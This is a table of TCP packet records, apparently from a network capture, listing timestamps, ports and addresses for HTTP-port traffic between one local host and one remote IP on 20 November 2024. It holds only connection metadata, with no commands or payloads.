Nov 20, 2024 10:57:06.159944057 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.159946918 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.159976959 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.159981966 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.160031080 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.160031080 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.187141895 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.187274933 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.187302113 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.187305927 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.187330961 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.187366009 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.187624931 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.187659979 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.187782049 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.187792063 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.187844992 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.188757896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.188796997 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.188849926 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.188849926 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.189244986 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.189281940 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.189316988 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.189344883 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.189739943 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.189774036 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.189836979 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.189836979 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.189889908 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.189939976 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.190876961 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.190912962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.190948963 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.190962076 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.190962076 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.191024065 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.191809893 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.191845894 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.191879988 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.191895962 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.191895962 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.191914082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.191950083 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.191982985 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.192815065 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.192850113 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.192883968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.192895889 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.192895889 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.192936897 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.193685055 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.193722010 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.193757057 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.193770885 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.193770885 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.193854094 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.194714069 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.194751024 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.194781065 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.194787025 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.194796085 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.194823980 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.194845915 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.195022106 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.198975086 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.199196100 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231122017 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231209040 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231218100 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231256008 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231281042 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231287956 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231504917 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231543064 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231580973 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231595039 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231595039 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231632948 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231868982 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231906891 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231928110 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.231940985 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.231952906 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.232033968 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.232861996 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.232897997 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.232913971 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.232930899 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.232965946 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.232976913 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.232976913 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.233066082 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.233387947 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.233423948 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.233458042 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.233458042 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.233484983 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.233525991 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.234833002 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.234909058 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.234977961 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.235013962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.235043049 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.235066891 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236016989 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236052990 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236073017 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236085892 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236120939 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236121893 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236145973 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236166954 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236500025 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236557007 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236804962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236840010 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.236875057 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.236908913 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.237552881 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.237615108 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.237689018 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.237793922 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.237833977 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.237895966 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.239151001 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.239207983 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.239236116 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.239242077 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.239263058 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.239278078 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.239290953 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.239336014 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.240348101 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.240382910 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.240411043 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.240421057 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.240441084 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.240473986 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.241322041 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.241357088 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.241379976 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.241391897 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.241427898 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.241502047 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242007017 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242042065 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242064953 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242078066 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242113113 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242125034 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242125034 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242218018 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242867947 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242902994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242919922 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242938995 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.242990017 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.242990017 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.243592978 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.243628979 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.243652105 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.243664026 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.243685961 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.243715048 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.244740963 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.244776011 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.244810104 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.244813919 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.244813919 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.244843960 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.244857073 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.244895935 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.245320082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.245356083 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.245372057 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.245398045 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.246165991 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.246202946 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.246222019 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.246254921 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.246629953 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.246685982 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.246795893 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.246849060 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.246953011 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.246989012 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.247008085 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.247023106 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.247067928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.247067928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.247294903 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.247347116 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.247353077 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.247399092 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.249178886 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.249209881 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.249244928 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.249257088 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.249257088 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.249300957 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.249669075 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.249702930 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.249741077 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.249767065 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.250622988 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.250657082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.250693083 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.250704050 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.250704050 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.250745058 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.251477003 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.251519918 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.251539946 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.251554966 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.251579046 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.251610041 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.252187014 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.252218008 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.252253056 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.252260923 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.252260923 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.252326012 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.252357960 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.252382040 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.278259039 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.278295994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.278331995 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.278419018 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.278419018 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.278419018 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.279151917 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.279206038 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.279344082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.279396057 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.279469967 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.279521942 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.280586958 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.280623913 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.280653954 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.280670881 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.280670881 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.280687094 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.280713081 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.280740023 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.281449080 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.281503916 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.281626940 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.281661987 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.281704903 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.281704903 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.281768084 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.281821966 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.282500982 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.282536983 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.282555103 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.282566071 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.282588959 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.282601118 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.282625914 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.282658100 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283111095 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283164024 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283190012 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283196926 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283231974 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283241034 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283241034 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283267021 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283271074 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283299923 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283329964 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283348083 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283353090 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283397913 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283895016 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283930063 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283943892 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283963919 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.283984900 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.283998966 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.284015894 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.284046888 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.284239054 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.284276962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.284312010 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.284323931 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.284323931 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.284382105 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.285162926 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.285200119 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.285212040 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.285234928 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.285269976 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.285280943 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.285280943 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.285310030 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.286019087 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.286078930 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.317045927 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.317069054 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.317090034 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.317116022 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.317394972 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.317743063 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.317780018 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.317815065 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.317828894 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.317828894 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.317874908 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.318734884 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.318775892 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.318804979 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.318809986 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.318828106 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.318844080 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.318888903 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.318888903 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.319200993 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.319236040 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.319271088 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.319279909 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.319279909 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.319334984 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320055962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320091009 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320116997 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320125103 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320144892 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320161104 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320163965 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320240021 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320827007 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320863962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320883036 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320899010 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.320949078 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.320949078 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.321824074 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.321858883 CET	80	49730	66.63.187.231	192.168.2.4
